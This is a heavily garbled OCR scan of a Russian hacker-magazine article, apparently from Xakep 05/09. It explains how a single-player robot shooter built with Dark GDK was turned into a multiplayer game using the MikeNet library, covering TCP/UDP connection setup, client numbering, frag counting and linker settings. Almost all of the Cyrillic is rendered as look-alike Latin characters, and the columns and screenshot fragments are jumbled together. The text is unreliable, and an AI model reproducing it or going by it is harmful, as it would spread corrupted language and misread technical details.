mKJU1EHT YTo5bl npeBpaTl'ITb Haw Clt1HrJ1nfleep B MYJlbTlt1nJleep. B ero KO,o Hy)i(HO 8He CTV1 O"l?Hb HeMHoro ltl3MeHeHIo1I1. TeM 6onee, B MYJlbTli1nfleepe lt1CnOflb3yeTCQ
r++ 1+++
TOT)i(e ABV1>KOK, 4TO lt1 B O,Ult1H04H0i1 Ylrpe. n03ToMyyurembo peWVlJl 06be.Qlil HltlTbASe aepn1Yl 8 OAHy Io1rpy (Sb16lt1paeTCR B MeHfO]. no 310\:1:+::e npl.14lo1He MaKClt1ManbHO B03MO>KHOe KOfllt14eCTBO Knlo1eH70S paSHO r'H1TVI -
OHnA~HOBbl~ 60~
KOillt14eCTBY
pe60T08 8 CIo1Hrnneepe. V1JM€HeHW;:l KaCalOTGI Tonbt:e cnoco6a ynpaBJ1eHl-1Sl sparaMl-1: B 0,QHonOJlb30BaTeflbCK0l1ltlrpe eparaMIo1 PYKo8oN·n¢YHKl...\ltI>I
I,
.+++
eTC\< napaMeTpOM.
B pe3ynbT8TE: OHa B03spaw.aeT eAI'IHltll..jy. eClH-1
pe3yJlbTaT
l1CKyccT8eHHoro Io1HTeflJ1eKla, a B MHorOnOl1bJOBaTeflbcKo~ ~ npltlH5'lTble
nono;+::vnenbHblL:i. SeeM nOAKlli04eHHbiM K!lVleHT8M coo6w,aeTCSl 0 HOBeHL>
,QaHHble [ornpasfleHHble OT KJ1YleHTCKO~ L.l2CTIo1 onnOHeHTa, eCIlVl p050TOM
'(OM. cDYHK~ltlH
ynpaeflQeT re~Mepl. Bce CAenaHO AflQ TOro, Lno6bl MO)l(HO 6blflO OCTaSltlTb
mnClientLeft nposepSleT, He OTKllKl4ltlJlCA fll-1 KaKoi1-nlil60
Km.,eHT 1-1, eClllf1 OHa 803Bpaw,aeT 3Ha4eHlIIe 6011bwe
O. 3Ha4V1T,
KJll.-1eHT
AB~)KOK npe)l(HV1M, Ao6asv,B TOflbKO no.o.o.ep)l(Ky MYJlbn,nJ1eepa.
CT8KI'lM l-1AeHTltlqH1KClTOpOM (S03spaw,eHHoe 3H<lyeHl1el Hep,8SHO OTKJlIO
11+++
4I1JlCSl.
06 310M np01CKop6HOM r.06b1T10111l Mbl TalOKe ltlHepopMwpyeM wpalOll.\Yto
3arpyJltl CBOIC q,lt1HaflbHYKl eepCl-1fO CltlHrnnfleepa. nOToMy 4TO V1MeHHO ee
KJlVleHTaM, S KOTOpblC1 B1l0JKeH el.L.\e 0AV1H UfiK1l no BceM udp-onepaUl-1RM
Mbl 6y,oeM ,Qopa6arblsaTb, KpOMeTcro. T':>I MoxeWb Jarpy3lo1Tb y)l(e rOTOBbl(1
IB HaweCi nporpaMMe l-1XABe],
+++
~DARKROBOTMULTIPLAYER GAME
KOMn8HltlIO nOCpeACTBOM TeKCTOBOrO coo6weHVlSl_Aanee V1,oeT Ul-1KJl no sceM
~
102
l-1 y.>Ke 8 HeM npol-1cxo,ofiT lilJbSlTlile 1'13 04epe
MyJ1bTl-1nJleep c,oIo1CKa. "lTo6bl CSep>1Tb pe3YJlbTaTbf.
XAKEP
05/125/09
YCnEWHOE3ABEPWEH\II\II \IIHCTAJ1J1f1l.1\11\11 MIKENET
0Alla ¢yHKU,lIL" - 3TO dbScanCode. KOTopa" B03Bpau~aeT HOMep Ha)l(aToC'l KllaSl.>1Wl.>1. HOMepa cTapryJOT c eAl.1HlttUbI. Ha4l.1H31'l c KJla8V1WI1 C6YKB0i1 «E»), ECflltl Bbl6paTbClILHrJ1nJleep, TO OH 1i13arpY3lt1TCI' - He 6YA12M paCO<1aTplilBarb 3TOT nyrb, nOCKOllbKY Bce 0 HeM 3HaeM!
C APyrol1 LTOPOHbl, eC111'1 Bb/6paTb MYIlbTl'1nIle
ep. TO nOI'lB14TUI HOBoe M2HKl, rAe npeAflaraeTc" BSeCTI1I1M" reHMepa. KOTopoe JanOMlILHaeTC" B rJ106aJ1bHOCl nepeMeHHoVi iii coxpaH~eTc~
Ha npOT5I)I(eHl.>1ltl 6cero ceaHca lILrpbl, 3a pa60TY
www thegamecrealors.
::noro MeHIO OTBeTCTBeHHa q>yHKUtoIl'l GetUserName. nycToe
NfJl - ca~T pa3pa
l'IM>l 88eCTlil He11b351_ KorAa !'IM~ 6yp,eT 8se,QeHo, nOHBV1TOl
60T4\11K3 Dark GDK.
CI1€AYlOw,a>l CTpaHIilUa M€HtO. rAe l-laAo 6y.o.eT 88eCTltl ip-aApec
BO BPEMfI PA150Tbi CEPBEP BblBOA\IIT A\IIArHOCT\II'lECK\IIE AAHHblE
cepsepa
3ry CTpaHltll.\y BbIBO,QI1TlIL 06c11y)l(118aeT epYHKlJ,I1R makeConnect, KOTOpa>l nOCJl€ n0I1Y4€HIiI" ip C nOMOlllbtO Q>yHKlJ,1iI11 mnConnect
8 OCHOBHOM
V13M€HH € V1>lM
nO,QseprJHKb ...eTblpe ¢Jai:ina:
Main.
cpp. Robot. cpp. Robot. h. Game_Obi. h Ie nOCn€ A HlilX .Qayx lt13MeH€HlilS1 OY€ H b
4>Io1Ka~lo1v. c
HecYLI..\eCTS€ H Hbll.
epal1J1o Main. cpp. 3.Q€Cb
6anbHafi nepeMeHHdS1 pe)K:.1M L-Irpbl:
0-
gamemod. 8
nblTaerCR nOAK11IOYlt1TbC~ K cepsepy. <DyHKUlttltt mnConnecl nepe,!l,aIOTC51 weCTb napaMeTpoB: ip-a,!l,pec cepBepa, O>KlILAalO~ lllero nOAKJlI04eHlILI' no tcp; HOMep OTKpblTOro tcp nopra Ha 3TOM
, dvd
,D,06aSi1JlaCb Ba>KHafi rJlO
cepsepe, ip-aApec cepsepa, O>KV1,o,3IOu.\€ro nOAKnlO4eHI1Sl
Ha ,QlILCKe Ile>KVlT
HeLii OTM€ 4 aeT(f1 TeK)'UJ,10111
no udp; HOMep OTKpblToro udp nopTa Ha 3TOM cepBepe; apeM"
nOJ1HblL1 \IICXOjJ,HbIVt
O>KI1p,aHIiI51IB ceKYHjJ,ax) OTBeTa OT ccpsepa; K011014eCT80 no
KO.n. epllLHaJlbHOH
Ha4HeM 0630P MOJ\ltl
pe>KI-IM He YCTaHOSJleH (pe::KVJM Ha43nbHOro
MetilO!. 1 - OIHrJlnlleep. 2 - MYJlbTlt1nneep. nOKa BHawei1 Vlrpe
TOKoa (310T napaMerp aHaJ10n14eH 0AHoI1MeHHDMY B ¢VHKl\1111
aepCl11i1 MHoronOllb
peaJll.130SaH TOflbKO 0,D,li1H MHoronOflb30SaT€ J lbCKl1i1
mnSlartServen-1 paccMOTpeH BblUJel. 8 c11Y4ae ycnexa no,Q
30BaTenbcKoH IIlrpbl
pe)+(V1M,
a-
no:noMy. eCn .... XO'-leWb ewe pe)KI1MblIHanpI1Mep, /W3JlbHbIVo
KflJO'-leHlIlSl ,QaHHa51q>yHKu,Lo19. 803BpaU\aeT 1,
VlJlV1 33Xe<lT<pflaral. TOYD,OOHee scera Ao6aBl-1Tb MHAV1KaTOp
BpeMeHI1 O>KI1AaHltt,,11
s CJlY4ae OWI16KlIL. AHal1>13lt1pYQ B03
nl111qu,ltllt1 KoToporo
rp>KVlMi'l 8 3ry nepeM€HH)'IO_ nO~TOMY. KpOMe scera np04ero,
spaw,aeMoe 3Ha4eHl1e. Hawa epYHKLl,>1S'! makeConnect BbIBO,Qlt1T
HY)l(Hbl: Visual C++
aSTOp npV1rOTOBVlJl ,!J,l1R Te6f1 nerKO paCWlI1pSl€ M bli1
,D,ltlarHOCTW-leCKl1e p,aHHble. HecMoTp~ Ha TO, 4T0,D,J1Sl tcp- lt1 udp~
2008
nO,QK11Kl'-leHlt1i:1lp-a,a,peca nepe,QaJOTc,,6 pa3Hbix napaMe,pax,
DirectX 9,OSDK. Dark
neHl11' H1n;;l tcp 11 udp naKeTOS [0 HV1X Tbl 411TanSblwe 11 Mo>t<eWb
MikeNet He MO)l(eTpa50TaTb C,QSyMSl pa3HblMIiI cepSepaMl1,
GDK, MikeNet
y3Harb 60llbwe ~3 KOMMeHTcpv.es K nporpaMMel1il lll1MloH
n03TOMY He06xoAVI MO YK33 "I BaTb ip~a,ll,pec O,D,Horo iii Tora >Ke
<l>parOB
cepsepa. noc11e y,Qa4Horo COe,D.lt1HeHl-1,,3arpyxaeTC51lilrpa.
MeXaHli13M
L1rpOBOro .QBIo1)KKa. TaK)Ke Ao6aeJleHbi KOHCTaHTblp,JH, onpe.o.e
-1 -
no V1CT€4eHV1V1
nocne 33nYCK8 I1rpbl nepeA rei1MepoM nOI'Bn~eTCI' KOl-lCOIlb
3aMe4Y. '-lTO B Jlt060M ltl3 MeHlO Bcer,Qa e(Tb B03MO)f(HOCTb no
Hoe MeHIO Bbl60pa pe%V1M3. n04€ M Y KOHCOl1bHoe? nOTOMy
KIiIHyrb era, BepHyBWltlCb B Ha'-laflbHoe. Tame 8Ja\.1MOAe~CTBlile
4TO yurembo He XOTe11 OTXO,ll.l'1ib OT H843JlbHOC'l 33jJ,YMKI1(caM31'
Me'%.JJ.Y epYHKLtl1SlMIil oCYlllecTBVlMo 6llaroAapfl BOJBpalllel-ll'1tO
nepaa>lsepCI1>1- eUlIil nOI.\HV1Wb, KorAa BbIBop,V111acb H3Anl1Cb,
(n04Tltt] Ka)I(,QOH epYHKlI,lt1eCl 6yneBcKOro 3Ha4eHV1I1: ycnewHo
nOBecmylO1ll3Sl 0 Jarpy3'(\? YPOSHSI).
KTOMY :>Ke, eMy 5blflO lleHb
OarkRobot, ,QIlS'! KOM·
Express Edition,
\4/1lt1 HeT8bIn011HeH3Ta l-1J1I1I1H351 onepaLJ,I'HI. 80 SpeM513a
pltlC083Tb KapTltlHKI1 AJlSl epOHc ~II(HOnOK MeHKl [6b11l3 5bl era
rpy3KI'1 MHorono11b30saTe11bcKoC'l J.1rpbl np0\.1Cxo,QltlTTaKaSl)l(e
~
BOllI', 01-1 KpoMe HanlilCaHI1S; KOA3 Bo06w,e HI14eM 5bl He 33
I1HV1Ll,l1anJ.1JaqllL~. 4TO 11 npl1 OAliIH04HOC'l. TaK KaK r11aBHblMVI
ECJ111 TeMa Te6q
HIilMaIlC>l1. 8 3TOM [ltl BO Bcex nOClle,IWIOw,l1x) MeHIO ,(IIHl Bbl
Ael::icTBylOUllt1MlIl 11V1Ll,aMlIL 51BJl"IOTCH p050Tbl, I1X Kllacc ,QOJl)l(eH
33V1HTepecoe3113.CO
50pa HY)I(HOIO nYHKT3 HeAo Ha)l(aTbYKa3aHHYJO p5l,!l,OM CHI1M
cO,Qep)l(aTb nepeMeHHyK>-4neH -lttAeHTlileplilKaTOp MYJlbTlILnne
06w,11 06 3TOM 3BTOpy.
KI13Sl1llJY· nepSOH3"l3JlbHOe MeHIO SbISO.QlttTCaMOnIilCHa51
epHoL:i lt1rpbl.
¢YHKl..(I1>l Selec[GemeType 8 Hel.1 06Hy1151eTc5I nepeMeHH3>1
Mltl: ecnl1 p060T )l(V1S, OH S oHna~He (KIll1eHT B OHJ1a~Hel. a eCJ11t!
xaKepcKoro l'lrponpo
game mod, TO ee-:> ,'roa nep2S0,QI1TC~ 8 pe)l(lttM MeHIO. 3aTeM
y6lt1T, TorAa S OTKJlIO'--lKe. EUle OAHa nepeMeHHa51. ,Q06aB11eHHa51
Ma
JanycK3eTcSI Ll,I' <.: ...C-CO!;H1 <'spaw,aeTC}l». nOKa C nOMcw,bJO
B Kllacc p060TOS - 3TO cnumber, KOTOpal'l XpaHlt1THOMep Kll!'l
K1l3S!'IW He Bbl6:lcr- r:'-:X,1I.1 t~rpbl. 3.n.eCb I1HTepecHa TOJlbKO
eHTa B nopSlAKe no.o.KJl104eHV1fl K cepeepy,
XAKEP
OS/125/0Y
3ro C,Qe11aHO S CSS;311 CnpOCTblMIil paccY>K,IJ,eHVlQ
info
np0,QomKI1M pa38lt1T\.1e
B CBl'l3V1 CreM, 4TO 3TI1 ~
103
\
r++ '~
'j
(+++
•
!J
!:.onfiguration: rActiVe(Debug)
+++
,,"
8'. Common Properties:
II,.
i
I
:····General
:.... Debugging
CQnfiguration (Vlanager...
J
MikeNet.lib W52_32.1ib
~
No
libcmtd, ,:",svcrt, atls
"
Module Definition File
Add Module to Assembly
I±iC!C++
Embed Managed Resource File
$ .. Linker
"+++
::1
Additional Dependencies Ignore All Default Libraries Ignore Specific Library
1.... Framework and References
B·· C?nfiguration Properties
.+++
~atform: rActive(Win32)
force Symbol References
1··· General
i_
Delay loaded DlLs
Assembly Link Resource
'-+++
j Manifest File ! Debugging System .Optimization
-+++
, ··Advanced L... Command Line
"Embedded lDl
~" Manifest Tool
liJ·· XML Document Generator $-- Browse Information
.+++
$-' Build Events rE·· Custom Build Step Additional Dependencies
Specifies additional items to add to the
-+++
link Une
(ex: kerneI32,lib)j configuration specific.
OK
'-+++
OTMeHa
np'l1tieHI1To
I
A06ABJ1 EH HE AOnOJ1H HTEJ1bH blX 3ABHCH MOCTEi'!
.+++ BepHeMC51 B Main. cpp. KpoMe accro np0l.Jero.
HOM epa onepalllo1l1l-l KJ1lo1el-na. 3aTeM npoee
,D,06aefleHbI q,yHKLJ,lt1ltl. ltl3MeHfHOUl,ltle V1 803
Tenepb, np'" C03AaHIooll-l rll3BHoro po6oTa, ero
pSleTCI1, KaKa" 3TO onepau,I1Sl: tep-onepal...\l1ii
Bpaw,a10 l.L.llt1e 3HayeHltl513H1X nepeMeHHblX .
MeCTOnOflO)KeHLo1e Bbl6ltlpaeTCI'l cflyqaiilHblM 06
scero ,D,Be ICMOTP\'1 HByallO a63al..lal. Eel1 V1 onc
KpaTKO Lo1X paCCMOTpltlM: q,YHKLJ,ltllo1 SetN umber
pa30M.lt1 XOTl'l Bparl1 C03AatOTOl C 3aAaHHbIMV1
paLJ,l1" - ~<HoBbli1 Kflll1eHi~). TO Sl..lltlKJle l1w,eTC"
V1
.+++
-+++
~>H
~pyrlt1e
nepeMeHHble 3aKpblTbl, B KJlaCC TaK>Ke
ltl Gel Number COOTBeTCTBeHHO yCTaHaefll1
no YMofl4aHIoolIQ KOOpAl1HaTaMI1, nOCJle nO,D,KfllO
l-leaKTI1BH~I~ p060T,
BalOll1 B03BpaU\aIOT 3Ha4eHltle nepeMeHHoii
yeHI1Sl Ol.JepeAHOro Kfll1eHTa 11 C03AaHI1Sl era po
OH CTaHOBI1TC51 aKTlt18HbIM 11 npV1Bl'l3bIBaeTCSl
cnumber, SelLifeCounlLo1 GetLifeCount
60T8 rHa ero MaWlolHe] O,ll,l-1H 1>13 sparos [nepsbliiI
nop' ynpaBl1eHI1€ OT BHOBb nOAKfl 104l-'1Bweroe"
yCT<lHa Sfll1BatOT
HeaKTl-1SHblii! aKTl-lSI13IoolpyeTC5l11 BXO,D,IoolT B I1rpy
KJllo1eKTa. ECJ1l-l)l(e oncpau,l-l51- «KJlV1eHTywell»,
>K\.13Hei1. GetWinCount B03spaU\acT KOfl\.1
C Koop,OI1HaT3Mltl po60Ta-OnnOH€ H 1a.
TO S u,lt1Kfle CHosa npOI1)BOAI1TC" nOl-1eK no BeeM
l.JeCTBO Ha6paH HblX ¢paroB, a ZeroWinCount
HIool>Ke no KOAY Mbl nonaAaeM 80CHOBH0L;111I1KI1,
epa>KeCKLo1M po60TaM C I..l€Jl:.1O 06Hapy)Kl-1Tb
rAe BMeoo B3aIoolMoAeMCTBl-lfl C o6beKTaMI-1
po60Ta C HOMepOM (cnumber, 8D3spaw,ae-
SetMultiplayerMade lt1 GetMultiplayerMode,
CH34ana l1,OyT ceTeBble pa6oTbI. TO eCTb npo
MblM 4>YHKLJ,lo1e~ GetNumberl, pasHblM HOMepy
COOT8eTCTBeHHO, YCTaHasflV1 BalOl
Bepn'1 Ha npl1XOAflw,l1e na KeTbl pa3HbiX Tl-lnOB.
KJ1V1eHTa, OrnpaBI1BUJero eoocw,eHl1e 06 yxoAe.
101 B03Bpau.~aIOT
o6HyJll'leT3Ty nepeMeHHylO.
VI
nOCfleAHl'll'l napa:
I
--+++
a03Bpaw,a PO
Robot.
cpp.
,
~
nOCfle TOro. KaK HOMepa cOBna,OyT. Halo1,QeHHblllt
B TOM CI1Y4ae, eClllt1 y rllaanepCOHa>Ka 8KJHOqeH
spa>KecKV1101 p06oTyHl-l4TO>KaeTcSl. nOClle npOeepKI1 tcp npoaepSleTC? udp. Onepa
KOHCTpyKTOp l.1 ,OeCTpyKTop p060Ta npeTepnefll.1
MYflbTLo1nl1eepHbli1 pe)Kl-lM (4I1T3ii1sblweJ.
nOCKOllbKY n3KeTbi C,OaHHbIMl-l 0 nOSlSfleHl-ll-1
u,Y1i1 UDPTo)Ke,OBa TV1n2: nepBblllt- 3TO MaHl-l~
IOTeSl HeSIo1Al-lMbIMI>1lt1 HeaKH1BHblMltl . .QeCTpYK
HOBOrD. a T3K::+::e C,OaHHblMI1 06 yxoAe CTaporo
nYI1SlLJ,Io1l'l 06beKTOM [p060TOM! IPositionClienlL
e € lll>1 YHItlYTO)KaeTCSl p060T
rflSBHoro nepCOIi<))Ka. TO Klll-leHT OTKI1IOl.Ja€TCl'l OT cepsepa
Ie nOMow,blO Q:lyHKU,V1V1
mnFinlsh.
Kfllt1eHTa nepeAalOTcSl C cepBepa no (cp, 3H341oolT,
a BTOpOi'l - co06w,€ H 'Ae.
era Mbll-1 ,OOI1)KHbl npocl1ywl>1saTb. etJYHKLJ,l1fl
60iil Cl.1rHafl 0 flo6eA€
mnRecv
rcp npOBep>leT BXO,OSH1.\Vli1 tcp-nOToK
He I1MelOw,ei1 napaMeTpOBL CT0Lo11 3aMeTV1Tb.
YHee eCTb I1I1W b O,o,VlH
napaMeTp, KOTOpblM
npe,D,CTaBllfllOw,ee co
[Win). C o6pa6oTKolo1 na
K€Ta r:epBoro TV1ns ace 6011ee I1flltl MeHee ACHO: 3TOT <pparMeHT KO,D,a nO:<C>K Ha KO,D,. paccMoT
4TO l-lMeHHO B Q:lYHKUl-1I1-I.HleHe KflaCCa p060TOS
,OJll'l KIll-l€HTCKOii nopOH bl He V1MeeT 3Hal.JeHlt1>1.
peHHbl1lt S cepeepHoM l-1CXOAHltlK€, Kor,Qa AaH
Die yOCfll1'"1I1SaeTcp: ('"IeTY 11K Q:lparOB. AllSi :noro
n03TOMY paseH NULL. Eefllt1 BXOASlW,l-1X naKeTOB
Hble
ocyw,eCTBflSleTCSl npOBepKa, KeM 6blfl y6l1TT01
He o6HapY)KltlllOCb. TO cPYHKlIV15l B03spaU\aeTO.
Kfl l-1eHT8 l-l oTnpa8fll'lI1I1Cb OCTSJ1bHbIM. TOflbKO
a eCJll.1 O,OV1H VlI1I1 HeCKOllbKO naKeTOB eCTb. Tor
3,OeCb eMeno q,OpMl-lpOSaHl-ll'l l-10TnpaBKl-l
Mfll1l1HOiil OnnOHeHT, 11, eCJlI1 y6V1ii1l.\a -
"1_+++
Ho ceTeBbie pa60Tbi np0Io1380,D,SlTC5l TOJlbKO
He60JlbWI1e l-13MeH€HV1tl: p060Tbl-sparl>1 pQ)+<,Oa
Tap npOBepl'leT -
l.+++
lt1
lOT pe>KV1M lt1rpbl [AJll'l n€ p € M eHHoi1-yneHa 60Tal. '1TO eW,e KaCaeTCl'l <jlai1na
-+ ++
K0J1lt1yeCT80
B CflY48e Haxo)l(Ael-llt.Sl
3TO
0 r=
Yl1ellY
npl11H\IlMalll1C~ OT
O,OHoro onpeAeneHHoro
rflaBHbliil nepCOHa)f(, eMYAo6asl1>1eTC>1 1 ¢par.
,D,a OHa B038paw,aeTl.JI1CI10 6011bwe
nOAc4eTbi BeAYTc51 AmI Ka)l(Aoro KJll1eHTa OT~
naKeTOs, CTOl'lUJ,lt1X B o4epeAb Ha 06pa6oTKYl.
naKeTa npl1 HSlTble ,qallHble Y4aCT8YK:lT B MaHI1 nyn,"u,~v, Hap. 06be'"TOM: nepeMew..en'lIe VI no ..
AeflbHO, HO 611a rOAa pp; CTaT14CTI1Ke. KOTOpylO
PaCCMOTplo1M ClIeHapVli1, no K010pOMy naKeT
BopOTe nOMow,blO ¢YHKl.\I-111t Dark
BeAeTcepeep, ,OaHHble Clt1HXPOHI13l-lPYIOTCl'l.
npl1wen. Vl3 Hero 113SJ1eKaIOTCl'l ,OBa 3Ha4eHI1~.
npOe€ p tleTcSl.
GDK. Tyr)j(e
SblCTpefll-1fl fll1 KI1l-leHT. Ha :HOM
I
1--+++ ;1
~104
XAKEP 05/125/09
\
J1 11M IH C1>PArOB PABEH TPEM
\ BblnOJ1HBHli1e onepau,10111 YI nepBbl~ yC!'10SHbICi onepaTOp. 01HOC>1 L1J,V1~C51
a H8 ero Ma Wl-1H€ -
\
OCTaHyTUI :>Kl-1 Bbl, TaK KaK >t:.1iI3Hev.-TO y Hl-1X 60nb
80
K onepal..\lt1", PositionClient. 3asepWafOTC51, li1 ,qallee l-1.o.e1 BTopae yCJlO
we, yeM B peaflbHOCTliI,
BIo1B, KOTopoe npoaepflBT OTHDweHVlB onepau,I'1V1 KO 8TOPOMY HWy - Win,
Kllltlel-lTbl C006l1.\31OT CSOIo1M onnOHeHTaM, CKOll bKO Y HIiIX )l(ltl3He~ B pealle,
1oI36e:>KaHlile 3TOYI Henpl-1,nHoi1 Cl-1Tyau,liIl-t
B ClolHxpOHIo13aLJ,Vllil,
ECJl\1 (epeep AeC1CTBl-nell bHQ OTnpaSI-l/l naKel ud pC TaKoiii onepau,V1eCi,
11 np0l-1Cxo,QI1T Cl-1HXpOHH3au,l-111 Me)f(,Qy KnVl€ H T8Mltl.
3H3'-l1<1T,KTO-TO Ha6pan HY>KI·lOe
no 60nbwoMy c4eTY, l-1 3aKfl104aeTCp. OCHOSHal'l TPY,D,HOCTb pa3pa6oTKl-1
KOllViYBCTBO
q.paroB. V1rpa 33aepweHa,
1'1 HaAo BblSBCTI1 Ta611I1u,y pe3y.nbTClTOB. KOHe4HQ ;t::e, tAb! peanlll30Sallli1
B
l'1rpe 13KYfO
803MO>KHOCTb l
Ho n pe>K,ll,B.
nOCJle Toro, K3 K CTaJlD RCHO.
oHflaVtHOBbix l-1rp. KCTaTIo1, HaKOHell,-TO, B 101 rpe n0I1Slil11aCb nay33 I Tenepb, npl-1 Ha>KaTI1l-1
'"ITO npV1wen win-naKeT, Mbl AOJl>KHblli130nBYb 1-13 Hero I1H¢JOPMal..\lt1IO,
Escape 80 SpeMSll1rpbl, OHa H€ 3aS€ p WliIT
nOCKOJlbKya 3Toill nOCblllKe COAep)I(aTcfllllMeHa Bcex KllL1BHTOB BMBere
O>t:.l-1)l,3Tb. HanpoH1B, nepe,Q 103epoM OTKpOeTCSl (cHOBal KOHCOf1bHoe
C Y'I1CneHHblM Bblpa>KeHl1eM I1X paTHblx nO,ll,Bl1fo8. Aml3Toro B U.l1Kne Mbi
MeHIO, S KOTOpOM 6YAeT HanlilcaHo, K3Kl-1e Kl1aBI1Wl-1 All" 4ero,
3anOIlHSlBM MaccV1 B r.epeMeHHblx
CTpynypHoro Hma,
06bl'fSJleHHoro
p3Hee )J,aHH bl MVlI>13 naKera. Tenepb SUI l.1Torosal'f Ta6nVlu,a coxpaHeHa
6 MaCCVlBe.
)J.3nee YAanlilM
Vl3 naMI1Tlil AlilHaMlil4ec",lile 06beKTbl, c",poeM
CTaTlil4eCKv.e iii Bbl30BeM CaMOnl-lCHYIO <PYHKU,liI K) NelG3meOver, KOTOpal1,
nOClle,IJ,Hee, Ha "ITO HaAO 06paTliITb BHlilMaHl1e, 3TO l-13MeHeHlill1 B $ai1f1€ Game_Obj.
h. B HeM TOflbKO
l-13MeHeH npOTOTloln ¢YHKLJ,ltll1 Die. ECl1l-1
paHbwe OHa 6blJla '-;liICTO BHpryaflbHoi1, nOCKOl1bKY BO Bcex KflaCCaX nOTOMK3X lilcnOfl b30Ba113Cb 6e3 lil3MeHeH l-111 npOTOTltlna, TO C€I.1'13C
co6CTBeHHO, o6pa6oTaeT MacCIiIB C ,D,aHHbiMlil lil BblBe,D,eT lilX Ha 3Kpa H
B
B BlilAe,D,Byx CTOIl6LJ,OB.
nepeCTalla 6b1Tb 41i1CTO BlolpryallbHoi1.
no 3aBepweHliIliI YCJlOBHblX OilepaTOpos cneAyeT KO)J, ~OPM liIpOaaHVll'f
lil OTnpaBKIiI udp·naKeT3.
C 3TlilM
Mbl y>t:.e 3HaKOMbl(,QIlR OCSe)l(eHltl51 naMS'l
TV! CMOTpl<! pa3Aell «CepBep~>1.
CBOIO pa60TY, KaK MO>t:.HO 6blJ10
KfleeCe P060TOB B AecTpyKTOPA06aBliIflC" n3paMeTp, VI n03TOMY OHa
Mbl paCCMOTpCflliI HOBbl(1, CB,,33HHbli1 C MYflbTV1nIleepOM KOA, norpy3V1 lll-1Cb so Bce Xl-'tTpOCnJleTeHlil~eeTeBblX l-1rp lil pa3pa6orafll-1 MHoronOflb 30BarellbcKYfO 6aT3lll-11O H3 OCHOBe IoIrpoBOrOABltl)l(K3 DarkRobot. ECJll-1 Tbi np04101TaIl Bce CTaTblilll,liIKfla, TO
y>Ke
3HaeWb r011K a lilrpoCTpOeHlill-1,
mlif3EiErAEM HEnPIif51THOCTEI1
l-lCKyCHO Sll3AeeWb TeXHlil "'0(1 C03,QaHltlSl KOMnblOTepHblX lilrp ltl, Bo06~e,
YHac OCTaIllilCbAB3
R BIl"eWbCSl eBeTllblM ,[J,)Ke,lJ,aeM, KOTOpOMy npeACTolilT AJll-1HHbli1 nYTb
HepaCOWTpeHHblX Bonpoca:
• 3al.leM, BCe-T3KIiI, Olopa BJ151Tb lil lil3MeHl1Tb ISHe re(1 MnneSll KOJlWle
K aepWI-1He MaCTepCTBa! KaK Tbl socnollb3yewbC51 3Tl-1MVI 3HaHlil>iM\1,
CT80 >Klil3Hei1?
33Sl-1CliITTOflbKO oTTe6Sl. BaplilaHTOB Macca: B03MO>KHO, Tbl6YAeWb
• n04eMY nOCJle loro. KaK OrnpaBJl51eTCI1 naKeT C JlIiIMIiITOM <pparOB,
nporpaMM lolCTOM B KaKo~-H1iI6y,o,b KpyTOVt <pliIpMe 1-1 CBOlilM TaJlaHTOM
nepeMeHHal1-,"JleH o6Hylll'leTCs:f?
nOMO:>KeWb POCCl-1VtCKO~ l-1rpOBOI1l.1HAYCTpl1l1, Mo>t:.eT 6blTb, MaXHeWb
Ha
STOpci1 sonpoc OTBeT npOCl: YTo6bl CltlrHall 0 no6e)J,e
fllil Wb OAHa>KAbl.
A KOIllil4eCTSO )l(>13He~ oTnpaSll\1eTCI1,
6blfl
ornpaBlleH
4T06bl 01H~
XpOHliI3lilposaTb KlllileHTOB. 06MlCHIO nO,D,po6Hee. Hanpl-tMep, B 6l-1T8e
Y4aCTBYlOT Tplil p060Ta.
Y Ka~oro
pa3Hoe KOIll-l4eCTBO >t:.ltl3H€l.1.
nOrltl6aeT, a KorA8 s03BpalllaeTCI< 8 vtrpy. ero ](Jll-1€HTCKal1 Al-1HaMV14eCKlil€ 06beKTbi 3aHoBo, Ao6asJ11111 Bparos
L-1
33 OKeaH, 4TOGbi nOMO'1b MeCTHbIM: a MO>KeT 6blTb, OTKpOeWb CBOIO CTy,D,l-1IO. rAe 6YAewb npOaOJl,HTb l-1CClleAosaHl-1>1B 06JlClCTl1 3fleKTpOHHbiX pa3slle4eHIo111 101 pa3pa6oTaewb a6COilKJTHO HOBbll1li1rpoBoi-l >KaHpl
OAHH
'1aCTb c03AaeT
pa3A3BaSllilM
m3AKIlIOlfEH lifE B 3aKJl104eHltle XO'1y OTMeTl-1Tb nOIlO>KIUeJlbHble l.1 OTpliILJ,aTenbHble
no Imiddlewarel. K KOTOpOMy,
no M8KCl-1MYMY )l(l-13H€~ (XOT" 8 slilpry8ne y HliIX MO>KeT 6blTb MeHbwe).
CTOPOHbllilcnOllb30B3HliIl1l-1HTep<peI1CHOrO
nO:nOMY, KorAa OH 6yp,eT CTpe11SlTb no npOTl-1SH liIKaM. OHItl y*-e nOM pyT,
S 4aCTHOCT\1, OTHOCItlTC51 Dark GDK. KOHe4Ho, aBTop 3H3KOM C 33 aepeHliI"MliI Hm3: «3a4eM MHe Hy>KHa K3K351-TO H3,o,CTp0i1K3, eCTb>Ke
DirectXh~, J],3, yurembo \1 caM a AeTCTse TaK rOBopV1ll, HO rorAa
OTPEAAKUVIVI
nl-1Cafl no,D, DirectOraw, orpbl3a51cb HanpaBO 11 Halle so. Celil4ac :>Ke.
ITpe.tl.blAYU\He craTbli ll;lU<Jla BblillJlH B HOMepaxI3a OKTIl6pb, HOH6pb H .n;eKa6ph npollllIoro ro,ll.a
(<< TeJl,uwe MCKYCCTDO -
y Hero
He 6blllO HopMallbHoro rpa<pHYeCKOrO aKcenepaTopa. \11 01-1 ace liIrpbl
urpo,n;eJl8», «Hrpa
Bo~m BopOTa", «TeMHoe HCKyCCTBO HrpoAeJla, <taCTb 3,,), Ha3TOM
KOr,D,a KpyTble 30~YCKOpI1TefllileCTb npaKTH4eCl01 y Ka>KAoro, nOA06HblVt KOHcepsaHOM 6YAeT sblrll51,o,eTb 04eHb CTpaHHO.
n03TOMy. BocnOflb30
SaBW\1Cb lilHTep<p€~CHblM no, KOTopoe nopo~ a6C011KlTHO 6ecnllaTHO
MOl XOTeJIH 6hL103aBepUH-ITb LJ;l-fiUI "Te1\-lliOeHCKYCCTBO HrpO,ll;elfa»,
[Kat< S paCCMaTplil BCl0MOM cny4ael. MO>KHO COKpaTlilTb SpeMI1 Ha pCl3pa~
nOC<t]lTaB ero HeCKOJlbt(O yHhUIhlM, HO "'HTaTe.JI11 C HaM" He COrJlaCH
60TKy ltlrpOBOro (8 4aCTI-IOCTlil, rpa¢liI4€ c Korol
JIHCh. OHit npOCnal\1I1.1l11
a€ l 1\aM
MbUlO pe,ll.aKTopa py6pHKHTpe6oB3HHaMH
